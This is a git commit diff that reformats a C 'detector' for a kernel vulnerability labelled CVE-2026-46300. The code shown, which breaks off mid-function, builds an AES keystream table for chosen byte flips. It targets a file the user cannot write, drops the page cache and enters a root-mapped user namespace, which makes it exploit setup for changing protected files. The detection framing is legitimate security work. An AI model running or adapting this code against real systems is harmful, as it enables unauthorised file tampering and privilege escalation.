commit 236e6fc0c0101d0b4f164705716e1ddfc35c348b
parent a960227c8ac78727d0a2b7c846a20bbbca9cbc98
Author: finwo <finwo@pm.me>
Date: Tue, 23 Jun 2026 15:33:14 +0200
Use correct stdio stream, auto-formatting
Diffstat:
1 file changed, 976 insertions(+), 1150 deletions(-)
diff --git a/src/detector/cve-2026-46300.c b/src/detector/cve-2026-46300.c
@@ -31,28 +31,28 @@
#define _GNU_SOURCE
-#include "setup.h"
-
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
+
+#include "setup.h"
#if __has_include(<linux/if_alg.h>)
#include <linux/if_alg.h>
#else
#include <linux/types.h>
struct sockaddr_alg {
- __u16 salg_family;
- __u8 salg_type[14];
- __u32 salg_feat;
- __u32 salg_mask;
- __u8 salg_name[64];
+ __u16 salg_family;
+ __u8 salg_type[14];
+ __u32 salg_feat;
+ __u32 salg_mask;
+ __u8 salg_name[64];
};
#endif
+#include <limits.h>
#include <linux/netlink.h>
#include <linux/udp.h>
#include <linux/xfrm.h>
-#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
@@ -116,64 +116,55 @@ struct sockaddr_alg {
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
-#define FRAG_LEN 4096
-#define ESP_GCM_ICV_LEN 16
+#define FRAG_LEN 4096
+#define ESP_GCM_ICV_LEN 16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
-#define TCP_PORT 5556
+#define TCP_PORT 5556
-#define PAYLOAD_LEN 192
-#define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */
-#define FRAME_BAR_W 50
-#define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */
+#define PAYLOAD_LEN 192
+#define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */
+#define FRAME_BAR_W 50
+#define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */
-#define RECEIVER_PRE_ULP_US 30000
+#define RECEIVER_PRE_ULP_US 30000
#define SENDER_PRE_SPLICE_US 1000
#define RECEIVER_POST_ULP_US 30000
-static const unsigned char xfrm_aead_key[20] = {
- 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
- 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
- 0x01, 0x02, 0x03, 0x04
-};
+static const unsigned char xfrm_aead_key[20] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99,
+ 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04};
-static unsigned char active_esp_gcm_iv[8] = {
- 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
-};
-static uint32_t active_esp_seq = 1;
-static const char *target_file;
-static char target_file_buf[PATH_MAX];
-static loff_t target_splice_off;
+static unsigned char active_esp_gcm_iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc};
+static uint32_t active_esp_seq = 1;
+static const char *target_file;
+static char target_file_buf[PATH_MAX];
+static loff_t target_splice_off;
static uint16_t stream0_nonce[256];
-static bool stream0_have[256];
+static bool stream0_have[256];
-static void die(const char *what)
-{
- fprintf(stderr, "%s: %s\n", what, strerror(errno));
- exit(2);
+static void die(const char *what) {
+ fprintf(stderr, "%s: %s\n", what, strerror(errno));
+ exit(2);
}
static int drop_page_cache(void) {
- int fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
- if (fd < 0) return -1;
- int r = (write(fd, "1", 1) == 1) ? 0 : -1;
- close(fd);
- return r;
+ int fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
+ if (fd < 0) return -1;
+ int r = (write(fd, "1", 1) == 1) ? 0 : -1;
+ close(fd);
+ return r;
}
-static void gate_fail(const char *what)
-{
- printf("namespace_gate_failed: %s errno=%d (%s)\n",
- what, errno, strerror(errno));
- exit(4);
+static void gate_fail(const char *what) {
+ fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno));
+ exit(4);
}
-static void store_be32(unsigned char *p, uint32_t v)
-{
- p[0] = (unsigned char)(v >> 24);
- p[1] = (unsigned char)(v >> 16);
- p[2] = (unsigned char)(v >> 8);
- p[3] = (unsigned char)v;
+static void store_be32(unsigned char *p, uint32_t v) {
+ p[0] = (unsigned char)(v >> 24);
+ p[1] = (unsigned char)(v >> 16);
+ p[2] = (unsigned char)(v >> 8);
+ p[3] = (unsigned char)v;
}
/* ANSI colours */
@@ -191,1191 +182,1026 @@ static void store_be32(unsigned char *p, uint32_t v)
#define C_BCYN "\033[1;36m"
#define C_BWHT "\033[1;97m"
-static void print_hex_bytes(const char *label, const unsigned char *buf,
- size_t len)
-{
- size_t i;
+static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) {
+ size_t i;
- printf(C_DIM "%s=" C_RESET C_CYAN, label);
- for (i = 0; i < len; i++)
- printf("%02x", buf[i]);
- printf(C_RESET "\n");
+ fprintf(stderr, C_DIM "%s=" C_RESET C_CYAN, label);
+ for (i = 0; i < len; i++) fprintf(stderr, "%02x", buf[i]);
+ fprintf(stderr, C_RESET "\n");
}
/* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */
-static void print_hex_row(const char *path, uint64_t highlight_off,
- const char *before_label, unsigned char before_val,
- const char *after_label, unsigned char after_val)
-{
- uint64_t row_start = highlight_off & ~(uint64_t)15;
- unsigned char row[16];
- ssize_t got;
- size_t col;
- int fd;
-
- fd = open(path, O_RDONLY | O_CLOEXEC);
- if (fd < 0)
- return;
- got = pread(fd, row, sizeof(row), (off_t)row_start);
- close(fd);
- if (got <= 0)
- return;
-
- /* Hex section */
- printf(C_DIM " %016llx " C_RESET, (unsigned long long)row_start);
- for (col = 0; col < 16; col++) {
- if (col == 8)
- printf(" ");
- if ((size_t)got > col) {
- if (row_start + col == highlight_off)
- printf(C_BRED "[%02x]" C_RESET, row[col]);
- else
- printf(C_DIM "%02x " C_RESET, row[col]);
- } else {
- printf(C_DIM " " C_RESET);
- }
- }
-
- /* ASCII section */
- printf(" " C_DIM "|" C_RESET);
- for (col = 0; col < (size_t)got; col++) {
- unsigned char c = row[col];
- if (row_start + col == highlight_off)
- printf(C_BRED "%c" C_RESET,
- (c >= 0x20 && c < 0x7f) ? c : '.');
- else
- printf(C_DIM "%c" C_RESET,
- (c >= 0x20 && c < 0x7f) ? c : '.');
- }
- printf(C_DIM "|" C_RESET "\n");
-
- /* Annotation line */
- size_t col_off = (size_t)(highlight_off - row_start);
- size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
- printf("%*s" C_BYLW "^-- +%04llx "
- C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET
- " -> "
- C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n",
- (int)arrow_pos, "",
- (unsigned long long)(highlight_off & 0xffff),
- before_label, before_val,
- after_label, after_val);
+static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val,
+ const char *after_label, unsigned char after_val) {
+ uint64_t row_start = highlight_off & ~(uint64_t)15;
+ unsigned char row[16];
+ ssize_t got;
+ size_t col;
+ int fd;
+
+ fd = open(path, O_RDONLY | O_CLOEXEC);
+ if (fd < 0) return;
+ got = pread(fd, row, sizeof(row), (off_t)row_start);
+ close(fd);
+ if (got <= 0) return;
+
+ /* Hex section */
+ fprintf(stderr, C_DIM " %016llx " C_RESET, (unsigned long long)row_start);
+ for (col = 0; col < 16; col++) {
+ if (col == 8) fprintf(stderr, " ");
+ if ((size_t)got > col) {
+ if (row_start + col == highlight_off)
+ fprintf(stderr, C_BRED "[%02x]" C_RESET, row[col]);
+ else
+ fprintf(stderr, C_DIM "%02x " C_RESET, row[col]);
+ } else {
+ fprintf(stderr, C_DIM " " C_RESET);
+ }
+ }
+
+ /* ASCII section */
+ fprintf(stderr, " " C_DIM "|" C_RESET);
+ for (col = 0; col < (size_t)got; col++) {
+ unsigned char c = row[col];
+ if (row_start + col == highlight_off)
+ fprintf(stderr, C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.');
+ else
+ fprintf(stderr, C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.');
+ }
+ fprintf(stderr, C_DIM "|" C_RESET "\n");
+
+ /* Annotation line */
+ size_t col_off = (size_t)(highlight_off - row_start);
+ size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
+ fprintf(stderr,
+ "%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET
+ ":" C_BGRN "%02x" C_RESET "\n",
+ (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label,
+ after_val);
}
-static int open_afalg_aes_ecb(void)
-{
- struct sockaddr_alg sa = {
- .salg_family = AF_ALG,
- };
- int fd;
-
- fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
- if (fd < 0)
- die("socket(AF_ALG)");
-
- strcpy((char *)sa.salg_type, "skcipher");
- strcpy((char *)sa.salg_name, "ecb(aes)");
- if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
- die("bind AF_ALG ecb(aes)");
- if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
- die("setsockopt AF_ALG key");
-
- return fd;
+static int open_afalg_aes_ecb(void) {
+ struct sockaddr_alg sa = {
+ .salg_family = AF_ALG,
+ };
+ int fd;
+
+ fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
+ if (fd < 0) die("socket(AF_ALG)");
+
+ strcpy((char *)sa.salg_type, "skcipher");
+ strcpy((char *)sa.salg_name, "ecb(aes)");
+ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)");
+ if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key");
+
+ return fd;
}
-static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
- unsigned char out[16])
-{
- char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
- struct iovec iov = {
- .iov_base = (void *)in,
- .iov_len = 16,
- };
- struct msghdr msg = {
- .msg_iov = &iov,
- .msg_iovlen = 1,
- .msg_control = cbuf,
- .msg_controllen = sizeof(cbuf),
- };
- struct cmsghdr *cmsg;
- uint32_t op = ALG_OP_ENCRYPT;
- ssize_t ret;
- int op_fd;
-
- op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
- if (op_fd < 0)
- die("accept AF_ALG");
-
- cmsg = CMSG_FIRSTHDR(&msg);
- cmsg->cmsg_level = SOL_ALG;
- cmsg->cmsg_type = ALG_SET_OP;
- cmsg->cmsg_len = CMSG_LEN(sizeof(op));
- memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
-
- ret = sendmsg(op_fd, &msg, 0);
- if (ret != 16)
- die("sendmsg AF_ALG block");
- ret = read(op_fd, out, 16);
- if (ret != 16)
- die("read AF_ALG block");
-
- close(op_fd);
+static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) {
+ char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
+ struct iovec iov = {
+ .iov_base = (void *)in,
+ .iov_len = 16,
+ };
+ struct msghdr msg = {
+ .msg_iov = &iov,
+ .msg_iovlen = 1,
+ .msg_control = cbuf,
+ .msg_controllen = sizeof(cbuf),
+ };
+ struct cmsghdr *cmsg;
+ uint32_t op = ALG_OP_ENCRYPT;
+ ssize_t ret;
+ int op_fd;
+
+ op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
+ if (op_fd < 0) die("accept AF_ALG");
+
+ cmsg = CMSG_FIRSTHDR(&msg);
+ cmsg->cmsg_level = SOL_ALG;
+ cmsg->cmsg_type = ALG_SET_OP;
+ cmsg->cmsg_len = CMSG_LEN(sizeof(op));
+ memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
+
+ ret = sendmsg(op_fd, &msg, 0);
+ if (ret != 16) die("sendmsg AF_ALG block");
+ ret = read(op_fd, out, 16);
+ if (ret != 16) die("read AF_ALG block");
+
+ close(op_fd);
}
-static unsigned char aes_gcm_stream0_byte(int alg_fd,
- const unsigned char iv[8])
-{
- unsigned char counter_block[16], stream[16];
+static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) {
+ unsigned char counter_block[16], stream[16];
- memcpy(counter_block, &xfrm_aead_key[16], 4);
- memcpy(counter_block + 4, iv, 8);
- store_be32(counter_block + 12, 2);
- afalg_aes_encrypt_block(alg_fd, counter_block, stream);
- return stream[0];
+ memcpy(counter_block, &xfrm_aead_key[16], 4);
+ memcpy(counter_block + 4, iv, 8);
+ store_be32(counter_block + 12, 2);
+ afalg_aes_encrypt_block(alg_fd, counter_block, stream);
+ return stream[0];
}
-static void build_stream0_table(void)
-{
- unsigned char iv[8] = {
- 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
- };
- unsigned int count = 0, nonce;
- int alg_fd;
-
- alg_fd = open_afalg_aes_ecb();
- for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
- unsigned char b;
-
- store_be32(iv + 4, nonce);
- b = aes_gcm_stream0_byte(alg_fd, iv);
- if (stream0_have[b])
- continue;
- stream0_have[b] = true;
- stream0_nonce[b] = (uint16_t)nonce;
- count++;
- }
- close(alg_fd);
-
- if (count != 256) {
- fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
- count);
- exit(2);
- }
- printf("stream0_table_entries=256\n");
+static void build_stream0_table(void) {
+ unsigned char iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc};
+ unsigned int count = 0, nonce;
+ int alg_fd;
+
+ alg_fd = open_afalg_aes_ecb();
+ for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
+ unsigned char b;
+
+ store_be32(iv + 4, nonce);
+ b = aes_gcm_stream0_byte(alg_fd, iv);
+ if (stream0_have[b]) continue;
+ stream0_have[b] = true;
+ stream0_nonce[b] = (uint16_t)nonce;
+ count++;
+ }
+ close(alg_fd);
+
+ if (count != 256) {
+ fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count);
+ exit(2);
+ }
+ fprintf(stderr, "stream0_table_entries=256\n");
}
-static void choose_iv_for_stream0(unsigned char need_stream)
-{
- uint16_t nonce = stream0_nonce[need_stream];
+static void choose_iv_for_stream0(unsigned char need_stream) {
+ uint16_t nonce = stream0_nonce[need_stream];
- memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
- store_be32(active_esp_gcm_iv + 4, nonce);
- printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
- print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv,
- sizeof(active_esp_gcm_iv));
+ memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
+ store_be32(active_esp_gcm_iv + 4, nonce);
+ fprintf(stderr, "byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
+ print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
}
-static uint64_t parse_u64_arg(const char *s, const char *name)
-{
- char *end = NULL;
- unsigned long long v;
-
- if (s[0] == '-') {
- fprintf(stderr, "invalid %s: %s\n", name, s);
- exit(2);
- }
- errno = 0;
- v = strtoull(s, &end, 0);
- if (errno || !end || *end != '\0') {
- fprintf(stderr, "invalid %s: %s\n", name, s);
- exit(2);
- }
- return (uint64_t)v;
+static uint64_t parse_u64_arg(const char *s, const char *name) {
+ char *end = NULL;
+ unsigned long long v;
+
+ if (s[0] == '-') {
+ fprintf(stderr, "invalid %s: %s\n", name, s);
+ exit(2);
+ }
+ errno = 0;
+ v = strtoull(s, &end, 0);
+ if (errno || !end || *end != '\0') {
+ fprintf(stderr, "invalid %s: %s\n", name, s);
+ exit(2);
+ }
+ return (uint64_t)v;
}
-static int hex_nibble(int c)
-{
- if (c >= '0' && c <= '9')
- return c - '0';
- if (c >= 'a' && c <= 'f')
- return 10 + c - 'a';
- if (c >= 'A' && c <= 'F')
- return 10 + c - 'A';
- return -1;
+static int hex_nibble(int c) {
+ if (c >= '0' && c <= '9') return c - '0';
+ if (c >= 'a' && c <= 'f') return 10 + c - 'a';
+ if (c >= 'A' && c <= 'F') return 10 + c - 'A';
+ return -1;
}
-static bool is_hex_separator(int c)
-{
- return c == ':' || c == ',' || c == '-' || c == '_' ||
- c == ' ' || c == '\t' || c == '\n' || c == '\r';
+static bool is_hex_separator(int c) {
+ return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r';
}
-static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out)
-{
- size_t cap = strlen(s) / 2 + 1, len = 0;
- unsigned char *buf;
- int hi = -1, v;
-
- buf = malloc(cap);
- if (!buf)
- die("malloc desired bytes");
-
- for (; *s; s++) {
- if (is_hex_separator((unsigned char)*s))
- continue;
- if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
- s++;
- continue;
- }
-
- v = hex_nibble((unsigned char)*s);
- if (v < 0) {
- fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
- exit(2);
- }
- if (hi < 0) {
- hi = v;
- continue;
- }
- buf[len++] = (unsigned char)((hi << 4) | v);
- hi = -1;
- }
-
- if (hi >= 0) {
- fprintf(stderr, "hex byte string has an odd number of nibbles\n");
- exit(2);
- }
- if (len == 0) {
- fprintf(stderr, "hex byte string is empty\n");
- exit(2);
- }
-
- *len_out = len;
- return buf;
+static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) {
+ size_t cap = strlen(s) / 2 + 1, len = 0;
+ unsigned char *buf;
+ int hi = -1, v;
+
+ buf = malloc(cap);
+ if (!buf) die("malloc desired bytes");
+
+ for (; *s; s++) {
+ if (is_hex_separator((unsigned char)*s)) continue;
+ if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
+ s++;
+ continue;
+ }
+
+ v = hex_nibble((unsigned char)*s);
+ if (v < 0) {
+ fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
+ exit(2);
+ }
+ if (hi < 0) {
+ hi = v;
+ continue;
+ }
+ buf[len++] = (unsigned char)((hi << 4) | v);
+ hi = -1;
+ }
+
+ if (hi >= 0) {
+ fprintf(stderr, "hex byte string has an odd number of nibbles\n");
+ exit(2);
+ }
+ if (len == 0) {
+ fprintf(stderr, "hex byte string is empty\n");
+ exit(2);
+ }
+
+ *len_out = len;
+ return buf;
}
-static unsigned char read_byte_at(const char *path, uint64_t off)
-{
- unsigned char b;
- ssize_t ret;
- int fd;
-
- fd = open(path, O_RDONLY | O_CLOEXEC);
- if (fd < 0)
- die("open read byte");
- ret = pread(fd, &b, 1, (off_t)off);
- if (ret < 0)
- die("pread byte");
- if (ret != 1) {
- fprintf(stderr, "short pread at offset=%llu\n",
- (unsigned long long)off);
- exit(2);
- }
- close(fd);
- return b;
+static unsigned char read_byte_at(const char *path, uint64_t off) {
+ unsigned char b;
+ ssize_t ret;
+ int fd;
+
+ fd = open(path, O_RDONLY | O_CLOEXEC);
+ if (fd < 0) die("open read byte");
+ ret = pread(fd, &b, 1, (off_t)off);
+ if (ret < 0) die("pread byte");
+ if (ret != 1) {
+ fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off);
+ exit(2);
+ }
+ close(fd);
+ return b;
}
-static void print_file_sample(const char *label, uint64_t off, size_t len)
-{
- unsigned char buf[32];
- ssize_t ret;
- int fd;
-
- if (len > sizeof(buf))
- len = sizeof(buf);
- fd = open(target_file, O_RDONLY | O_CLOEXEC);
- if (fd < 0)
- die("open sample");
- ret = pread(fd, buf, len, (off_t)off);
- if (ret < 0)
- die("pread sample");
- close(fd);
- if ((size_t)ret != len) {
- fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n",
- (unsigned long long)off, len, ret);
- exit(2);
- }
- print_hex_bytes(label, buf, len);
+static void print_file_sample(const char *label, uint64_t off, size_t len) {
+ unsigned char buf[32];
+ ssize_t ret;
+ int fd;
+
+ if (len > sizeof(buf)) len = sizeof(buf);
+ fd = open(target_file, O_RDONLY | O_CLOEXEC);
+ if (fd < 0) die("open sample");
+ ret = pread(fd, buf, len, (off_t)off);
+ if (ret < 0) die("pread sample");
+ close(fd);
+ if ((size_t)ret != len) {
+ fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret);
+ exit(2);
+ }
+ print_hex_bytes(label, buf, len);
}
-static uint64_t use_existing_target(const char *path)
-{
- struct stat lst, st;
-
- if (lstat(path, &lst) < 0)
- die("lstat target");
- if (!S_ISREG(lst.st_mode)) {
- fprintf(stderr, "target is not a regular file\n");
- exit(2);
- }
- if (stat(path, &st) < 0)
- die("stat target");
- if (!S_ISREG(st.st_mode)) {
- fprintf(stderr, "target is not a regular file\n");
- exit(2);
- }
- if (st.st_size < FRAG_LEN) {
- fprintf(stderr, "target is too small: size=%lld need>=%d\n",
- (long long)st.st_size, FRAG_LEN);
- exit(2);
- }
- if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
- (int)sizeof(target_file_buf)) {
- fprintf(stderr, "target path is too long\n");
- exit(2);
- }
-
- target_file = target_file_buf;
- return (uint64_t)st.st_size;
+static uint64_t use_existing_target(const char *path) {
+ struct stat lst, st;
+
+ if (lstat(path, &lst) < 0) die("lstat target");
+ if (!S_ISREG(lst.st_mode)) {
+ fprintf(stderr, "target is not a regular file\n");
+ exit(2);
+ }
+ if (stat(path, &st) < 0) die("stat target");
+ if (!S_ISREG(st.st_mode)) {
+ fprintf(stderr, "target is not a regular file\n");
+ exit(2);
+ }
+ if (st.st_size < FRAG_LEN) {
+ fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN);
+ exit(2);
+ }
+ if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) {
+ fprintf(stderr, "target path is too long\n");
+ exit(2);
+ }
+
+ target_file = target_file_buf;
+ return (uint64_t)st.st_size;
}
-static void verify_write_denied(const char *label)
-{
- int fd;
-
- errno = 0;
- fd = open(target_file, O_WRONLY | O_CLOEXEC);
- if (fd >= 0) {
- close(fd);
- printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n",
- label);
- exit(4);
- }
-
- printf("%s_write_open_denied=1 errno=%d (%s)\n",
- label, errno, strerror(errno));
+static void verify_write_denied(const char *label) {
+ int fd;
+
+ errno = 0;
+ fd = open(target_file, O_WRONLY | O_CLOEXEC);
+ if (fd >= 0) {
+ close(fd);
+ fprintf(stderr, "namespace_gate_failed: %s write-open unexpectedly succeeded\n", label);
+ exit(4);
+ }
+
+ fprintf(stderr, "%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno));
}
-static int write_all_file_status(const char *path, const char *buf)
-{
- size_t len = strlen(buf);
- int fd, saved_errno;
-
- fd = open(path, O_WRONLY | O_CLOEXEC);
- if (fd < 0)
- return -1;
- if (write(fd, buf, len) != (ssize_t)len) {
- saved_errno = errno;
- close(fd);
- errno = saved_errno;
- return -1;
- }
- close(fd);
- return 0;
+static int write_all_file_status(const char *path, const char *buf) {
+ size_t len = strlen(buf);
+ int fd, saved_errno;
+
+ fd = open(path, O_WRONLY | O_CLOEXEC);
+ if (fd < 0) return -1;
+ if (write(fd, buf, len) != (ssize_t)len) {
+ saved_errno = errno;
+ close(fd);
+ errno = saved_errno;
+ return -1;
+ }
+ close(fd);
+ return 0;
}
-static void sync_write_byte(int fd)
-{
- char c = 'M';
+static void sync_write_byte(int fd) {
+ char c = 'M';
- if (write(fd, &c, 1) != 1)
- die("sync write");
- close(fd);
+ if (write(fd, &c, 1) != 1) die("sync write");
+ close(fd);
}
-static void sync_read_byte(int fd)
-{
- char c;
+static void sync_read_byte(int fd) {
+ char c;
- if (read(fd, &c, 1) != 1)
- die("sync read");
- close(fd);
+ if (read(fd, &c, 1) != 1) die("sync read");
+ close(fd);
}
-static void parent_map_write_or_exit(pid_t child, const char *name,
- const char *data)
-{
- char path[128];
-
- snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
- if (write_all_file_status(path, data) < 0) {
- printf("namespace_gate_failed: %s errno=%d (%s)\n",
- path, errno, strerror(errno));
- kill(child, SIGKILL);
- waitpid(child, NULL, 0);
- exit(4);
- }
+static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) {
+ char path[128];
+
+ snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
+ if (write_all_file_status(path, data) < 0) {
+ fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno));
+ kill(child, SIGKILL);
+ waitpid(child, NULL, 0);
+ exit(4);
+ }
}
-static void enter_mapped_userns(void)
-{
- uid_t outer_uid = getuid();
- gid_t outer_gid = getgid();
- int ready_pipe[2], mapped_pipe[2], status;
- char map[128];
- pid_t child;
-
- if (pipe(ready_pipe) < 0)
- die("pipe ready");
- if (pipe(mapped_pipe) < 0)
- die("pipe mapped");
-
- child = fork();
- if (child < 0)
- die("fork userns mapper");
-
- if (child > 0) {
- close(ready_pipe[1]);
- close(mapped_pipe[0]);
-
- sync_read_byte(ready_pipe[0]);
-
- snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
- parent_map_write_or_exit(child, "uid_map", map);
- parent_map_write_or_exit(child, "setgroups", "deny\n");
- snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
- parent_map_write_or_exit(child, "gid_map", map);
-
- sync_write_byte(mapped_pipe[1]);
-
- if (waitpid(child, &status, 0) < 0)
- die("wait userns child");
- if (WIFEXITED(status))
- exit(WEXITSTATUS(status));
- if (WIFSIGNALED(status)) {
- fprintf(stderr, "userns child killed by signal %d\n",
- WTERMSIG(status));
- exit(2);
- }
- exit(2);
- }
-
- close(ready_pipe[0]);
- close(mapped_pipe[1]);
-
- if (unshare(CLONE_NEWUSER) < 0)
- gate_fail("unshare(CLONE_NEWUSER)");
-
- sync_write_byte(ready_pipe[1]);
- sync_read_byte(mapped_pipe[0]);
-
- if (setresgid(0, 0, 0) < 0)
- gate_fail("setresgid 0 in userns");
- if (setresuid(0, 0, 0) < 0)
- gate_fail("setresuid 0 in userns");
-
- printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n",
- outer_uid, outer_gid, getuid(), getgid());
+static void enter_mapped_userns(void) {
+ uid_t outer_uid = getuid();
+ gid_t outer_gid = getgid();
+ int ready_pipe[2], mapped_pipe[2], status;
+ char map[128];
+ pid_t child;
+
+ if (pipe(ready_pipe) < 0) die("pipe ready");
+ if (pipe(mapped_pipe) < 0) die("pipe mapped");
+
+ child = fork();
+ if (child < 0) die("fork userns mapper");
+
+ if (child > 0) {
+ close(ready_pipe[1]);
+ close(mapped_pipe[0]);
+
+ sync_read_byte(ready_pipe[0]);
+
+ snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
+ parent_map_write_or_exit(child, "uid_map", map);
+ parent_map_write_or_exit(child, "setgroups", "deny\n");
+ snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
+ parent_map_write_or_exit(child, "gid_map", map);
+
+ sync_write_byte(mapped_pipe[1]);
+
+ if (waitpid(child, &status, 0) < 0) die("wait userns child");
+ if (WIFEXITED(status)) exit(WEXITSTATUS(status));
+ if (WIFSIGNALED(status)) {
+ fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status));
+ exit(2);
+ }
+ exit(2);
+ }
+
+ close(ready_pipe[0]);
+ close(mapped_pipe[1]);
+
+ if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)");
+
+ sync_write_byte(ready_pipe[1]);
+ sync_read_byte(mapped_pipe[0]);
+
+ if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns");
+ if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns");
+
+ fprintf(stderr, "userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(),
+ getgid());
}
-static void bring_loopback_up(void)
-{
- struct ifreq ifr;
- int fd;
-
- fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
- if (fd < 0)
- gate_fail("socket(AF_INET)");
-
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
- if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
- gate_fail("SIOCGIFFLAGS lo");
- ifr.ifr_flags |= IFF_UP;
- if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
- gate_fail("SIOCSIFFLAGS lo up");
- close(fd);
-
- printf("loopback_up=1\n");
+static void bring_loopback_up(void) {
+ struct ifreq ifr;
+ int fd;
+
+ fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
+ if (fd < 0) gate_fail("socket(AF_INET)");
+
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
+ if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo");
+ ifr.ifr_flags |= IFF_UP;
